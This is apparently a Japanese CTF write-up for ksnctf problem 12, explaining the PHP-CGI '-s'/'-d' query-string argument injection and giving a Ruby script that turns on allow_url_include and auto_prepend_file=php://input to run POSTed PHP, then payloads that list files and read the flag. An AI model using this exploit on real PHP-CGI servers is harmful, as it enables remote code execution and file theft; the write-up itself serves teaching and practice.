[ksnctf] Hypertext Preprocessor

--

ksnctfにチャレンジ 第12問目です。

※ksnctfは常駐型のCTFサイトです。 ※問題のページはコチラです。

Hypertext Preprocessor

タイトルの Hypertext Preprocessor とは PHP言語のことです。 CTFでPHP題材となると とりあえず -s は試します。

> 参考 8946 take52

同じ出題が 8946 でも出ているレベルです。

CGI版PHPの過去のあるバージョンにおいて 末尾に ?-s を追加すると コマンドラインで $ php ./hoge.php -s を実行するのと同じ状態になり。 わざわざ適切に整形された状態で ソースコードが閲覧できてしまうという有名な脆弱性です。

これが使えると -d オプションなどで php の設定も 自由に変更できます。

やはり通りました。

ここからどうするか、ですが、 先述の通り -s オプションと同じように -d オプションで PHPの設定を変更することができてしまいます。

ここで以下の設定を変更します

allow_url_include=On
auto_prepend_file=php://input

1行目は PHPがURL形式の外部データを include することを許可するという設定 もう1つは auto_prepend_file の設定です。

これは、 対象のPHPプログラムが動作する直前に指定したプログラムファイルを 実行してくれる という機能で スクリプトに手を加えずにパラメータを調整して部分ごとのテストを したりする場合に使う機能です。

そして、 この直前処理するためのファイルとして php://input を指定します。 php:// は入出力ストリームへの アクセスを提供していて、 php://input は POSTされたデータのことです。

つまりこの2つの設定は POSTで送信されてきたデータをPHPのプログラムとしてまず実行せよ というかなり恐ろしい命令を構成することになります。

以上より 以下のRubyプログラムで

#!/usr/bin/ruby
require 'net/http'
uri=URI.parse('http://ctfq.sweetduet.info:10080/~q12/')
option='?-dallow_url_include%3DOn-dauto_prepend_file%3Dphp://input'
payload="<?php 任意のPHPコード ?>"

http=Net::HTTP.new(uri.host)
http.start{
    resp=http.post( uri.path+option, payload )
    puts resp.body
}

任意のPHPプログラムを実行できるようになります。

まずは

payload= "<?php $a = scandir('.'); foreach($a as $file){ print $file.'\n';} ?>"

を指定して、フォルダ内のデータを一覧させます。

FLAGが記録されているのは flag_flag_flag.txt とわかります。

よって

payload = "<?php print readfile('./flag_flag_flag.txt'); ?>"

とすれば

おしまいです。